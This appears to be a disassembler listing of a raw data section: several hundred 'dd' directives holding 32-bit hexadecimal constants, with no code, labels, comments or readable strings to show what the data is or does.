		dd 71584270h, 0FB29BEB3h, 88310B88h, 0F488B605h, 8108971h
		dd 2150844Fh, 95453628h, 53E810F2h, 89B09D88h, 7822F2BDh
		dd 940D0397h, 3B3AC3B8h, 79357500h, 29C0F86Eh, 3149033Fh
		dd 0DBF7BD7Dh, 0E0F5DCD8h, 65842A00h, 0C60F139Ch, 0BC2200E4h
		dd 1E8946Bh, 0A8008A3Bh, 51D3951Bh, 23B20Bh, 0D578E0EFh
		dd 0E6DAA470h, 0C4CED00Eh, 0D4C08058h, 18454A7h, 0F525CC39h
		dd 0D03D7B10h, 0DB00078Dh, 0A48E0C4Eh, 301137Ah, 9F6A087Eh
		dd 0FAC8F7CAh, 0D4008F25h, 0F88BEF8Ch, 0A8C333AAh, 0EA0529C8h
		dd 22B700A5h, 41090BA9h, 0CD03FC3Bh, 46717BA4h,	3C11A39Fh
		dd 479D6BF8h, 18A6CF30h, 83B1A300h, 90006E4Ah, 0B2802CC3h
		dd 35267D9h, 0F2995606h, 5828872Dh, 5F1DCD3Eh, 0AA03AF20h
		dd 3F9048C6h, 40CC2F80h, 6AD8DD03h, 9CF84599h, 82003858h
		dd 0AE773697h, 90D917h,	0C141F4E1h, 4C75A05Eh, 9A925F00h
		dd 14E213CDh, 9906300Dh, 0D7BFD910h, 0FDF58D00h, 0E91AECEAh
		dd 70110F49h, 0BAC0CF1Ch, 0B47BD164h, 103FAB01h, 47F3EAA6h
		dd 80FE96E5h, 404463E5h, 0E3D30693h, 0E8AC2145h, 60DB2500h
		dd 43E778BFh, 2AF61C3Dh, 1E77001Dh, 939C3EBDh, 935ECFFh
		dd 123F973Eh, 0BA806753h, 58A85BEh, 2EECA457h, 3B189055h
		dd 0D801B9C5h, 3EF3716Eh, 0AAF4620Ch, 3F5D0097h, 41DD503Ah
		dd 0FD00D2B0h, 0BCFEBFA3h, 0D93F3h, 87035DB6h, 5470CA04h
		dd 0CBCC8F00h, 0AD1C7414h, 1FC1E44Dh, 50611Fh, 0B921F749h
		dd 0D8007A2Ah, 4A86D2EDh, 0C1E3Bh, 56AF1592h, 0D59B691Fh
		dd 0C9E04060h, 4F24FEh,	0E9331E63h, 99606F6Dh, 207A9D00h
		dd 2CA477DCh, 0D61A0081h, 0EBC71294h, 0E100406Dh, 67904FEh
		dd 6021080Ah, 0F33610FBh, 0E021DAAh, 73CBC0BCh,	0E0086871h
		dd 77891FCh, 0C16AF9BBh, 0C0623060h, 8D0139C3h,	0B552FCE5h
		dd 0D2F0CD9Bh, 0A5711F33h, 0AE40C058h, 0AB3C5C98h, 28E65701h
		dd 0BF2093C0h, 75709CFCh, 0A82E2E61h, 9A003B34h, 88296BD7h
		dd 0D90030C1h, 0EEC73F78h, 12AE546h, 6FAC1BC6h,	0E4F4EC5Fh
		dd 0B101AEA2h, 0A8A953C7h, 3F204778h, 5CA40EC8h, 1520D456h
		dd 8EF68459h, 529D2E01h, 3A3713Dh, 279874h, 0EA9C6DC9h
		dd 87287FAh, 0D3D594A0h, 2E834600h, 0D475211Ch,	0FBB8A0AEh
		dd 0EE180053h, 4B32F18Fh, 26E07BFFh, 5B791C00h,	88E09FD8h
		dd 0F9ECA01Bh, 674A2335h, 0A3A3D809h, 0C0851E1Ch, 564E4C8h
		dd 3C06FDA4h, 7B60275h,	5861C75Dh, 37F66019h, 6DB83200h
		dd 0B3D3F2DEh, 120F01EAh, 7119935Ah, 0A02920ACh, 0C4BC6000h
		dd 0B88EFAB9h, 0E7A91E29h, 5033B84h, 0BC75EAB1h, 0B6BB1901h
		dd 405419DCh, 4DEBB660h, 9005308Ah, 0CC556h, 0CBD8ABF8h
		dd 21137FC7h, 6807D55Dh, 29F7C2D9h, 1697C000h, 0DF47Ch
		dd 80384F6Dh, 7B87B360h, 0FB056A1Dh, 80349B89h,	47C70D7Eh
		dd 2F32002Dh, 75B25FE6h, 0BBE87F48h, 0AAAC8E1h,	0B05C7700h
		dd 7120DC21h, 309B07C0h, 1F080733h, 6C2E0EC0h, 0A300E441h
		dd 8ECDD3CEh, 0FA6729Bh, 57DE90E0h, 71F984F8h, 0BB531100h
		dd 18F4B396h, 4EE23Ah, 0D13F66E5h, 44AE7349h, 884FDA00h
		dd 0C276720Bh, 0DC4B0045h, 0C06D55C1h, 0EF00F70Eh, 0A538AF3Dh
		dd 3BF5FA3Ah, 0FCF487h,	64C82827h, 7E77EA1Ah, 36A69507h
		dd 9A304181h, 4863B562h, 0BE3F64A1h, 0E183C000h, 26AFCDABh
		dd 5BE64900h, 0C1A3A5E7h, 22540082h, 7AD4BE9Dh,	5203EB8Bh
		dd 1086D5A2h, 4280E091h, 0CD670011h, 0BADD736h,	0C14C381Ah
		dd 33CE0028h, 0B1E5F962h, 0A95A0082h, 8F3E3E9h,	497754FAh
		dd 2A7C4001h, 0E0140DE8h, 0A7A4ECh, 14D0B92h, 6AB66D34h
		dd 3500DCECh, 2B4F1F9Ch, 0A8A448h, 824A025Fh, 9E8C0E2h
		dd 0AD452300h, 53EBD8AEh, 12BDFC19h, 0E88E7CEh,	0A1A0D418h
		dd 33A97578h, 0FE699F00h, 2DB0F582h, 6D9B0039h,	0F9F0898Dh
		dd 3AF6340Ch, 47837400h, 0B437DC43h, 7B6C0232h,	3CD15844h
		dd 0B25B05D7h, 89B2B087h, 204D2033h, 6C0212D6h,	4C8D756Fh
		dd 0E3504009h, 0C0B13FD2h, 46CBEE00h, 0D948DAF4h, 0F7957F02h
		dd 40F57842h, 4CBAB8h, 1DD7074Bh, 2E059BDAh, 0DF75ECEEh
		dd 2CB89200h, 0ED585227h, 0DC0948FCh, 0A7C97500h, 0B3F77161h
		dd 76C5FA00h, 6BA1A0C3h, 0EABD003Ch, 0B6E56A6Ch, 3A075683h
		dd 0C931FB4Ch, 0C56444F3h, 0E01D6880h, 983371EAh, 0E63B0F28h
		dd 0B8E04F13h, 0CC120661h, 53AFB101h, 23FBFE0Eh, 283C4h
		dd 0C636C448h, 0DE4F9BF3h, 9924601h, 80E8E362h,	9368FCh
		dd 0D0B3CE3Dh, 29670B8Fh, 343CF500h, 14B9EFD3h,	9A8600A0h
		dd 0AAEDCFBCh, 35001DFEh, 198EC848h, 9A9A8A2h, 38703014h
		dd 7765F803h, 0D5FB94B8h, 79C0BA00h, 0B6EF354Eh, 0CCAE00C1h
		dd 0FCBFFF65h, 3A03DEF7h, 0CF868B99h, 2512E064h, 7EB3009Dh
		dd 60E9FC7h, 9003CC1Ah,	0CFE3EFDFh, 0DA478871h,	89AA072Bh
		dd 7115B046h, 60B4612Ah, 0C001E710h, 0BC644DBEh, 74D07D5Fh
		dd 1D9D00FCh, 92432DABh, 467580EAh, 85002078h, 6C955D2Fh
		dd 5FB983Fh, 9B077204h,	3DDC80A0h, 97E6AF88h, 0A16C0A00h
		dd 0FEF21B9h, 0FC75D7h,	4E0E6D1Dh, 0BD469B83h, 17B1401h
		dd 37E44359h, 0F839D7C4h, 0F32100D1h, 524F995Dh, 8A1616C2h
		dd 4800227Eh, 5165CFEDh, 303C900Eh, 0A2F9B13Fh,	6700F10Fh
		dd 1097FE9Eh, 0EFD0BAEh, 96FB894Bh, 54361140h, 0E7004024h
		dd 619B3E67h, 48A237h, 80E0943Fh, 0A3A97790h, 1D3C0848h
		dd 0E580CD51h, 0CFC60A68h, 0D5E20Dh, 2BC92DECh,	0D34DAA9Ch
		dd 5E9BF000h, 0C0E9D4D2h, 0FA7143Dh, 5A00964Fh,	0FA895762h
		dd 0FF00A47Bh, 900569CEh, 0A024128Dh, 0A9CAF8h,	0B9FF97Dh
		dd 85039796h, 882D400h,	0E8D33932h, 2674B8CFh, 0CEE1502h
		dd 51442956h, 0A0685Ch,	4DF1A086h, 5C0667DEh, 0F007E8DAh
		dd 1098D764h, 5123A574h, 0BD0F26FEh, 0C7FE53F8h, 3D70ACC6h
		dd 0B29F431Dh, 2E0FC34h, 0E1DE6B4Ch, 406E67h, 953E5547h
		dd 7E028F3Ch, 8926E0B8h, 375F70Ch, 5DBEBC6Ch, 11A25CD0h
		dd 0FF00F072h, 2EA65B27h, 1691BD45h, 0B0D5D15h,	33004FA2h
		dd 7185FA6Eh, 3500E8FEh, 4189F15Fh, 0FCCC2778h,	924E48FFh
		dd 7048AE00h, 58A84793h, 0FAF46800h, 0E9DFDEC1h, 91810034h
		dd 57841AA6h, 26187FEDh, 60819EBBh, 53C8C0DEh, 9972617Dh
		dd 0F1565900h, 11153949h, 7F2A285Bh, 935F00B1h,	463067Eh
		dd 0ED00DAA3h, 0D08A9A4Bh, 0BA613Dh, 88F948D8h,	282572A8h
		dd 0BC4F6A2Eh, 0CD807B9Fh, 0E81798FBh, 1DAB00B4h, 0E138FDE9h
		dd 861DD3AAh, 6D80FC4Ah, 607CB7C3h, 0AD0E0085h,	3937175Bh
		dd 0F83B89B8h, 10AC06D8h, 0E3592380h, 0EBAFF981h, 8247A12Ch
		dd 0DB5DB168h, 3C50ECh,	1835213Ch, 4201736Dh, 3F0DA501h
		dd 4411055h, 0E2284982h, 88808B8Eh, 0AD5F4908h,	97059AFAh
		dd 8325C2EFh, 4B648F00h, 279462B9h, 8C802233h, 0E372BF75h
		dd 0CD7AD03h, 13E9A085h
		dd 61A8E0h, 2F29317Dh, 220113DFh, 309CF09Fh, 56211AB3h
		dd 927FB439h, 0EEC90724h, 56572884h, 715849E0h,	51007164h
		dd 47F05504h, 388BE42h,	34A8AEFBh, 4907900Fh, 0F8EDA794h
		dd 0BBB5A693h, 763C0082h, 0C715D8B4h, 6B1E1F39h, 2D4C9BA8h
		dd 3C1AD04Ah, 6A81D66Eh, 675DD61h, 5869E0BEh, 0C7984BF4h
		dd 0A401FF4Eh, 0C41140Bh, 64674F01h, 0E36FD22Ch, 0C3DF6EA9h
		dd 0F950027Ah, 0DDFCCBE6h, 9F51035Dh, 0D5FD8E96h, 0C0450880h
		dd 9849F324h, 0A7137980h, 75E3295h, 18894061h, 430A1588h
		dd 0DFE8A5E4h, 0B8B902F0h, 0BCCC1526h, 0EA395300h, 13FEE0Bh
		dd 1B289573h, 30610643h, 5C74852Ah, 5ABB0700h, 8B42AD32h
		dd 14081CE9h, 0B2C0F0EDh, 1B1F696Fh, 9C42D1A6h,	0E0259F41h
		dd 904DF04h, 0FCE53CA2h, 0EC018CC7h, 90A21B13h,	0B0E18720h
		dd 0F3EAA0h, 0D2215F4h,	2B4004FEh, 0C337D00h, 0F1CBC052h
		dd 13349241h, 11FA70D2h, 7D508093h, 286501AAh, 7F1B8FC1h
		dd 0F0A85777h, 0E5134C7Ch, 0F281EE01h, 296A04A2h, 9DE4E121h
		dd 67D90453h, 8099EF86h, 0D5804B31h, 901F8E2h, 5F3DEB13h
		dd 0D3C02B0Eh, 98026339h, 19903B03h, 60801A2Dh,	31CB4B4h
		dd 0EDA0244Ch, 0CCC0C99Fh, 770503C8h, 3068D59Ch, 2FC28090h
		dd 0C475FFh, 12A8D405h,	0E2DF3FE8h, 3E515800h, 919CF77Fh
		dd 0E91507FEh, 85823057h, 0AA588043h, 1A02DD6Ch, 0B079AB36h
		dd 12F460BEh, 647C381Dh, 0F2147A3Fh, 5527D5E6h,	0C2000889h
		dd 0AB9EE4D6h, 650D3E07h, 119BBC0h, 40EB5475h, 0F2D4230h
		dd 7144A91Dh, 0BA61AE2Eh, 0C872F817h, 1030D3A7h, 49A1202Ch
		dd 0FAD600CDh, 0DD0E7121h, 5009524h, 0B76170B5h, 0EADCEC6Fh
		dd 8446016Ch, 0F9F4B3BEh, 0C76A605Bh, 8010143Eh, 0D02E611Fh
		dd 0A00A6738h, 0F672C3E8h, 497606E1h, 0C95426EBh, 17759F00h
		dd 6155823h, 95DA00F9h,	5476A76Bh, 0E5097B3Bh, 0C08BA57Fh
		dd 30C98B0h, 0CD73F487h, 7409345Ch, 0C8C72955h,	0B0AB8BA8h
		dd 0D137009Ch, 70098FB8h, 911D0B27h, 6500DD01h,	0A3606783h
		dd 8EB001DFh, 0C0797166h, 0F44C75D6h, 0E903D9B8h, 0E2A4A13h
		dd 1621891Ah, 0C8F860h,	0E7F08C78h, 8798395Ch, 0BD03EA7Fh
		dd 0A7D5CAD0h, 0D270E0B9h, 1F3412E7h, 0C6388023h, 2600DAE6h
		dd 1214D152h, 1CF01CA8h, 808B6BB2h, 2F73D829h, 5A0FF6E1h
		dd 20B8E375h, 0AC2CC567h, 0F9120080h, 43478404h, 3C035E2Bh
		dd 1B0AB564h, 3F283FBBh, 0AA6DAE80h, 78013DC8h,	0AF03ADE6h
		dd 43455B42h, 0EE1EE88Bh, 4540EABh, 2C40D5EAh, 0D958D331h
		dd 0BF9EF800h, 7A7F1625h, 4BF600D4h, 8F0C5BF2h,	6C0FB5AEh
		dd 0A236A7h, 0EB869A55h, 0C618000Dh, 74FCB2DAh,	0A0005E60h
		dd 0B3447357h, 17A3C322h, 0ED51A45h, 83AB9758h,	206F50A0h
		dd 750174E3h, 0FF027CFCh, 0C8343C2Dh, 9255EA0Ch, 0D06200F4h
		dd 0C30D3BC0h, 0C12C31A6h, 0EB059112h, 0D9C1B8B2h, 742030F3h
		dd 53920081h, 2B615A34h, 0D1E24A80h, 5C32370Fh,	0FFE041C5h
		dd 0B8E497A8h, 59410092h, 0F41F0C79h, 7800C291h, 563C340Eh
		dd 0FF74A6Eh, 0A453F21Dh, 6022E606h, 1BA58800h,	20AAAA1h
		dd 0EDEF3C71h, 5D3BE10Eh, 0DABB1720h, 670C5F1Dh, 1E42C177h
		dd 9C4600C2h, 502E5C0Dh, 0D5070607h, 9739BFE3h,	0C04D3082h
		dd 0B8335A7Eh, 9F6805B4h, 0C0206BABh, 27BABE68h, 39B6C8C0h
		dd 0ECD438Dh, 249D3AADh, 0E8018CEBh, 306731C1h,	48B6A8D4h
		dd 5D87FE58h, 1E011C36h, 6227046Ah, 7BAFF4B8h, 156D9E01h
		dd 0C6D882C2h, 96AC830h, 192C2549h, 0B0FB2280h,	0F70B3A5Ah
		dd 803D7FAEh, 0C8EFCA7Eh, 3F1504AAh, 0C103F1B4h, 0E038E4D0h
		dd 453A742Ah, 3BFD00F7h, 51DC2E3Dh, 278013CAh, 22BC4057h
		dd 1C4A52B2h, 7877AB05h, 8D03C46h, 0AF5917h, 2207319Dh
		dd 84C3015Ah, 5FC2502Ch, 26A68A00h, 0CB79B4h, 0A37C03A7h
		dd 0BF2C81E1h, 0C8546F00h, 80525667h, 2AE5008Ch, 647FF32Fh
		dd 476D755h, 0CCB08424h, 2DAFDF03h, 0EE13D825h,	779900E5h
		dd 0AE88B9D6h, 3A01D09Bh, 0F86DE976h, 2DD483B1h, 2BBD0FE1h
		dd 0B6005CFCh, 5410C901h, 1263D01Eh, 9AC8E780h,	1B4B52Bh
		dd 0E2176D55h, 9D336986h, 7DC09BBCh, 44961220h,	0E43B0281h
		dd 7AB1924h, 0EA2A9C80h, 0F40006AAh, 498AF91Ch,	19A08Dh
		dd 0AEFD18EDh, 110D723Ah, 0E155A80Eh, 3130C0D1h, 1FE5C54Ah
		dd 4015DD8Ch, 0DCCD0519h, 9300A15Fh, 4F35F723h,	0EF5A0758h
		dd 2262230h, 0F62BB005h, 0B5607044h, 0DD1FAADEh, 3214DBC6h
		dd 0D5DF02D4h, 20B56D92h, 8E8D77E0h, 1400F75Eh,	69AF25B4h
		dd 1F51019Dh, 0B93F1105h, 0C187CCEh, 9098FA97h,	7A4100A0h
		dd 28FEC934h, 90E41A4Fh, 85F3C700h, 9E1E0320h, 4EAA0012h
		dd 98A4E63Eh, 8C003CD3h, 8A22BF2Eh, 0D64A86h, 60A9F9A3h
		dd 0CD9A595Ch, 0BDB9B800h, 21D80DEEh, 662D03AEh, 30F78239h
		dd 27DC20E0h, 0D98FF40Eh, 0C0E1C037h, 249C1Bh, 0B6939A87h
		dd 4A42E702h, 806D8E3Bh, 2BD4EC2Dh, 722FDD05h, 21AE085h
		dd 0C8576B37h, 746048DFh, 8A389976h, 21168739h,	1440ED25h
		dd 3F442A9Ch, 0E8D0773Ah, 54FB7348h, 7284D4h, 0CD2E7D92h
		dd 4E52E104h, 2008750Eh, 0D68500BEh, 0E358115h,	991EEF79h
		dd 9654520h, 0E30E5D12h, 0AE6D2584h, 0C4E46011h, 280A8977h
		dd 11E89601h, 80636CB0h, 1D425D9h, 0F10F179Eh, 948CFA4h
		dd 0C03E6BECh, 0B40478BCh, 0BA740014h, 6437DCD4h, 1FBB6C0Eh
		dd 5EFB0F52h, 507A4400h, 0B0CF8CF5h, 483E003Ch,	379E5CEh
		dd 0F00769C1h, 36C03788h, 9B920A27h, 4F61E01Ch,	12DE3C56h
		dd 537C0700h, 2ADF898Ah, 9C7EAA3Eh, 4640B9B3h, 7BBDEAA3h
		dd 0C8790EFFh, 140114Dh, 64EC883Ah, 6251B200h, 94DEE090h
		dd 4F8E1E1Fh, 15A400F5h, 78C3153h, 51E9A918h, 811B50h
		dd 3798EA4Ah, 0E6350190h, 0A0763C25h, 0DE853290h, 0BC4B4FAh
		dd 0D486ECD4h, 21009898h, 81E03BA0h, 0C996759h,	57434049h
		dd 0EE480558h, 275D00F2h, 837CDA16h, 508E596Dh,	44824C3Eh
		dd 0D776EEEFh, 2D0044D8h, 0AC5B2781h, 1C8BEBAh,	75CB2905h
		dd 804AA09Ah, 85483A11h, 0FC6B303h, 473F831Fh, 856958E5h
		dd 4F201F96h, 49EAAF3h,	0E14F96EDh, 0B591F0DCh,	350D0B00h
		dd 0FD0852F6h, 0C5B74F7h, 8FCB87B0h, 0D8050199h, 0EEE57F56h
		dd 341DBBh, 768F64A6h, 96009197h, 0DCA11D5Ah, 1F6F3379h
		dd 0F46EEFDh, 1B20434Eh, 53EB74B8h, 1110AD09h, 5860600Bh
		dd 0EFC70A08h, 1CB9895Ch, 56E50CAAh, 0D5678A98h, 6C474230h
		dd 0C05F405h, 4C0BBF87h, 52B5800Dh, 52F71442h, 0CF0E2073h
		dd 0E920A710h, 7C39F99Dh, 645F5900h, 63134B96h,	686200A4h
		dd 4F0B0D03h, 0B800E28Bh, 4702DD21h, 64C6D4h, 0D6F52F3h
		dd 3C22CB7h, 0CB006978h, 6A1AF166h, 0CFDAE62h, 886E1FA8h
		dd 7E031C91h, 80A609EBh, 5214E1F7h, 2526E0h, 7749D30Bh
		dd 4B910CD0h, 0A8C043EEh, 39C0EA61h, 0FAA3052h,	649FD8E1h
		dd 22754500h, 4B70B30Bh, 676A05CAh, 20822D9Bh, 2F4996A0h
		dd 0FE695B19h, 98F49081h, 30200040h, 0A71EF2B3h, 9A00099Dh
		dd 5E65FAAEh, 0E891706Eh, 0E9520085h, 2FCB0BDAh, 5950A549h
		dd 7A1F13D8h, 0CD0EAA28h, 2D00053h, 3075C1A4h, 507918B5h
		dd 570030F4h, 0A358AEF8h, 3EBF9952h, 6800A86Ah,	0EE11DE21h
		dd 1B001DE8h, 3FDA664Eh
		dd 0F4083991h, 3C9233h,	0AF71E643h, 0B28F9B3Ah,	0DCA4B970h
		dd 0E0C3774Bh, 0D8CCE8DBh, 6AA902F8h, 0B70E60B8h, 0E5C87740h
		dd 0F359B61Eh, 0B2A4D2C3h, 58D0AD8Fh, 60ECFAh, 6293E023h
		dd 5CEAF954h, 0B01080E9h, 0C29D1735h, 0EFB20CC1h, 120839D1h
		dd 0A40F21D6h, 0C9A78010h, 1B15265h, 0B20331CEh, 91F93EAAh
		dd 1E80FE50h, 0A9C29817h, 6E9448Ch, 72100700h, 4F33DC2Dh
		dd 361C00B3h, 0B439DF13h, 94B06FF9h, 54509303h,	7D6D7DB1h
		dd 84E6F39h, 3CC1CA81h,	903DD079h, 63407E00h, 68093E25h
		dd 3F89757Dh, 3BF9223h,	4C71B906h, 0EB0051E9h, 58C7D3BBh
		dd 60F960ABh, 0D18B19E6h, 840235B8h, 6F4FA0D6h,	0B3E0004Ah
		dd 14A1CF60h, 799AE473h, 726FB118h, 4A8D99h, 0E382D155h
		dd 4036A826h, 8B02C40Eh, 0C0FC8E7Ch, 0A0D1BA86h, 23D34C2Bh
		dd 51503960h, 0E9006E20h, 0C3A7D6CFh, 0C011643Bh, 368CE044h
		dd 0E760940Bh, 0D1427689h, 6FB798E6h, 0F183415Dh, 0FC9516Ch
		dd 732980F9h, 0BF80B97Fh, 0D3190C37h, 3F081C14h, 0A88A21C0h
		dd 29FA89B9h, 8CA360h, 86F74D80h, 0D9023572h, 465A9BF0h
		dd 500BC015h, 29B16F4Ch, 10801F89h, 6DDB3DAh, 23EBBC1Ch
		dd 6A0053D2h, 1E91F3A3h, 0BAB403ECh, 0A21DD428h, 420178E6h
		dd 0E9C4B3F7h, 0C1804FF9h, 5122BA72h, 0A00CA1Bh, 43C15A6Fh
		dd 574F77h, 0B45DA90h, 0CAD17FF2h, 0E28424h, 0C4830940h
		dd 0AF32C03Ah, 0D2E3A889h, 67DBBF00h, 872ADD1Ch, 3824F261h
		dd 0A3801266h, 7E45A717h, 9F244DA1h, 4100F41Dh,	663F4830h
		dd 89270FD1h, 0FE2FB6C4h, 0F27A6582h, 0B2D698A0h, 0A7000CD4h
		dd 99DFEFA1h, 5294C4h, 10A59EB0h, 0F3D1677Bh, 3B005FE6h
		dd 6450FD35h, 0C05EF46Fh, 7FA01340h, 1C0AE6D9h,	4BC2560h
		dd 0C8E3C17Dh, 291083F4h, 0E01F0305h, 1C50Dh, 0B4092E18h
		dd 623485F0h, 54F27100h, 11C8291Eh, 0D6C0688h, 28176401h
		dd 79C044h, 3F5F340h, 7EC3593Fh, 0BF00FDFEh, 0CC6A3E0Dh
		dd 1D0F5670h, 0C0B46279h, 0DB9649AFh, 0C607BBC5h, 97410816h
		dd 0BCA7BD50h, 7030004Bh, 2C2A444Fh, 120004B2h,	0E58C9CC9h
		dd 81086Dh, 0E294BDF7h,	18B94CDAh, 484A041Eh, 35F8A80h
		dd 1757E0Ch, 364B9B34h,	30140E87h, 4C00857Ch, 0B5B27499h
		dd 4E025Eh, 2AB940FFh, 90DDCB3Dh, 7A4A3500h, 33F23019h
		dd 0A9FC47h, 5E186459h,	29D55B70h, 0D486F100h, 0BB4248E1h
		dd 0B09676CFh, 0A357002Dh, 4D0378FFh, 880EE9D2h, 201AD60Ah
		dd 13C34590h, 0F59D005Eh, 5C6579DEh, 0DC00F680h, 0D701B4AAh
		dd 9C06B6h, 0B1702440h,	5B9338A9h, 81A47D00h, 0F2103AA2h
		dd 0EC5F0F1Dh, 53007862h, 84E50A4Fh, 0AED770E3h, 0C12FB300h
		dd 56E2B51Ch, 79F4017Bh, 122D1891h, 4984EC44h, 479FE10Eh
		dd 66958059h, 50F22643h, 26389A68h, 0F111EC7h, 1400703Ah
		dd 0F7BAE5F8h, 6F9F9D00h, 1DB0CFECh, 64F500DFh,	59B4F658h
		dd 3401D441h, 0B2DAE792h, 2420C3FFh, 30350025h,	0CF096DB6h
		dd 5500C03Eh, 2B4391AFh, 50A1B5A5h, 949CACh, 89D1356Ch
		dd 703CDE08h, 9AAA2607h, 42608213h, 738A6Dh, 0D11A849h
		dd 0D6EAA25Fh, 0ED68F11Eh, 106FB0Eh, 0E3CEA750h, 90E1EDCh
		dd 38FF5E1Bh, 41236C06h, 11A3A418h, 602732BAh, 5A809833h
		dd 0E8A83D6Eh, 2B001F4Eh, 665D0C9Fh, 0F6B3E340h, 0EEDA0180h
		dd 0A620F7F8h, 9487EC9Dh, 89A97501h, 0C474C3Fh,	0E222E0h
		dd 0E00283ADh, 0F51B99DCh, 1A107663h, 4F688030h, 0A0260056h
		dd 0F1B664CEh, 700C1E37h, 0A83F90D9h, 5D12030Bh, 2AA45618h
		dd 17E39000h, 0F62F81C3h, 0DCD1002Dh, 6B8BE8E4h, 94001E5Fh
		dd 62AD3C0h, 0A929E60h,	0C32227EDh, 4CBF00A8h, 41AF1881h
		dd 5BC66E2Ch, 3030791Dh, 9A6B5Ch, 1C58B688h, 34CA3A53h
		dd 6F9DE40Ah, 8080D8EAh, 6131A25Bh, 559EED8h, 5E3833CDh
		dd 7BF002F2h, 89021ADEh, 76A49631h, 6FB20008h, 0DCA0511Bh
		dd 46024847h, 54B2EDBh,	63A78073h, 0E6153ACh, 0FB8CEDDEh
		dd 362CAA20h, 267412Eh,	9F549149h, 0D939C3h, 3F517471h
		dd 0DC663339h, 0EBB51100h, 6828A40Fh, 6D88A889h, 0EE1B3F0Ch
		dd 23F4FF80h, 0EF1E6C1Fh, 83389E49h, 34EADDh, 5CA9FF69h
		dd 5AF76008h, 33812493h, 436367ACh, 2069F8h, 2BBBB510h
		dd 0FB7E39AAh, 7922DF30h, 3C9F2DF4h, 0AE82DCD4h, 58FD2F1Ah
		dd 93F85440h, 833E500h,	9C39A22Ch, 24A90B5Eh, 0F20067A0h
		dd 5ADC88E0h, 65856A00h, 0C7613658h, 0C25506CAh, 0C65FA53Ch
		dd 0B87DB024h, 6B0BFF60h, 0E0EB0005h, 20942FE8h, 0D14DD7CDh
		dd 9F3C79ECh, 0B81F0784h, 19908008h, 490A1A32h,	4C0704E2h
		dd 0C0A3ACDAh, 267ABD5Bh, 13A12200h, 6F095649h,	0F1421C7Fh
		dd 0A4D180D4h, 460CB4AFh, 1D54FE77h, 4701619Ch,	5DA1E3A5h
		dd 0CC30F631h, 0D581C3D0h, 588F2A0h, 7300CDECh,	6B3629B4h
		dd 264FAAFCh, 5000BDA4h, 0A000DD4Ah, 329EDAE9h,	37092Ah
		dd 7B0A1EE7h, 905BABECh, 3C964600h, 0A05AEB13h,	0F27F2C5Fh
		dd 0A2DA0020h, 55717018h, 0E50E2C93h, 6290D8CFh, 0DFC5007Eh
		dd 750189F9h, 0CE055E9Fh, 0C1767FD4h, 0C0A5880Fh, 3ABB41B1h
		dd 8F6A1F43h, 0F60607DFh, 0C13EF0F7h, 2D00B4BDh, 675D5FACh
		dd 0D6E23Fh, 0E5C3808Ch, 6F0DA078h, 0B7305302h,	69FCDA5Ch
		dd 80400540h, 9C4B1Fh, 7C6390E9h, 0E202AC6Bh, 12E470B7h
		dd 6A887Eh, 0FA7D7366h,	3005FBA2h, 0C1F6DA12h, 6ED99000h
		dd 8931EDh, 0E624A6F7h,	0C178173h, 0E45CE01h, 5AB5F19Dh
		dd 1582EC64h, 0F433AEE9h, 0C5765F07h, 0EB119CCDh, 78EA810Dh
		dd 0C418B97Eh, 192702DAh, 0A5C7FAB9h, 0DC9F9860h, 8A0C5F13h
		dd 4F392A05h, 0A8D12180h, 362090Eh, 98309C46h, 29099DC9h
		dd 80DD18E7h, 27D87470h, 530A07FAh, 309B567Dh, 38ACA803h
		dd 6111A500h, 0FA6B257Bh, 9CB33CA7h, 1B87F801h,	803EA4D9h
		dd 0F4A8900Ah, 18307DABh, 38E24F96h, 9A008C89h,	0BCB9A6E4h
		dd 50B9Eh, 0FACD2FBEh, 50B7B89Fh, 2EDEA11Fh, 90061DC0h
		dd 0A38615h, 0D963193Bh, 375F060h, 50444A02h, 40B332F4h
		dd 9AE9FC21h, 0CEC21EC8h, 65A00682h, 1155062h, 18C83A5h
		dd 3D674158h, 1081B268h, 0D8388418h, 3ED89E5Eh,	0DA9351C0h
		dd 78F43B79h, 0B89AD6h,	1D6FCEEDh, 110E5085h, 973EB58h
		dd 80F45A88h, 946A1BC0h, 8BED0047h, 397A1FC6h, 0C00F5A2h
		dd 34FFAE15h, 0CBFCDF52h, 8809C6Eh, 0F1E3DB43h,	0D63CAF00h
		dd 6F55FD90h, 0F6C50080h, 8C5F7620h, 18007432h,	63B1DFD2h
		dd 0D4DAF3h, 48A7389Ah,	0BFAEAFC9h, 14712324h, 1068FA80h
		dd 0F981F1h, 27F674E8h,	0CFBE0A04h, 180A97E8h, 0CDFA68C7h
		dd 876EBD01h, 0EC20F422h, 0E56A0021h, 88106BACh, 2E0049FEh
		dd 0E90F4D24h, 3EA128Eh, 0D1A6E395h, 0EDE684h, 5D11B4B4h
		dd 0F9901D42h, 808C78ABh, 0FF5C5B2Ah, 7DAE9500h, 0D2703490h
		dd 6E1C0119h, 0D76C965Dh, 1D0C64CDh, 0AA66E809h, 70B88092h
		dd 0A971D98Ah, 0F810232Ch, 300F17F2h, 81973849h, 0DA117EF1h
		dd 7841E4h, 0ED9F70D6h,	6D7522Eh, 0AC5D290Bh, 0EB84001Bh
		dd 1356465Eh, 5F2DE18Eh, 91D70180h, 7017E5D8h, 14900178h
		dd 3B01B07Dh, 59117A75h, 8E30795Eh, 0AC5B12EBh,	4AB449A2h
		dd 0C5C1E204h, 340C4420h, 0C520DCA1h, 48603F42h, 501A31A8h
		dd 5580B4B1h, 163F01FEh
		dd 0A80C2E8Bh, 3A613020h, 887ED2DDh, 19F4BB1Ch,	909AF8C0h
		dd 16AC10BDh, 1E83B68h,	0DE6D8974h, 0C0C6631h, 49E026FCh
		dd 37021E2Dh, 8E9F0F18h, 0A27B0076h, 5F14FA38h,	6226F499h
		dd 0CC351C05h, 0DC615407h, 7451202Fh, 0A8F4A97Dh, 263FC2C0h
		dd 1643670h, 93860A8h, 0BE0CAC0h, 524D80D8h, 2317C0ACh
		dd 3ADF14Bh, 7D878629h,	57E292B4h, 9C0280C2h, 80CCD112h
		dd 80611621h, 53BB8D62h, 40000A3Fh, 0ADB34617h,	0BB356610h
		dd 7B01BC08h, 7D2FE16Fh, 0FE362067h, 7782958h, 4A8F82B7h
		dd 682D2BF0h, 89FD39EFh, 0B66D6060h, 5A02959Ch,	756FFCFh
		dd 44106833h, 0B36200C8h, 2C10AAEFh, 347D248Fh,	28A5825h
		dd 213F2550h, 0D8EB1536h, 0A94CE0F3h, 5087DECCh, 3360FCEFh
		dd 2C2F12h, 0BADC5799h,	0CABD1B11h, 80FBF83Ah, 0AD28743Fh
		dd 0F037892h, 0DE045238h, 99843716h, 7754301h, 6E5834AFh
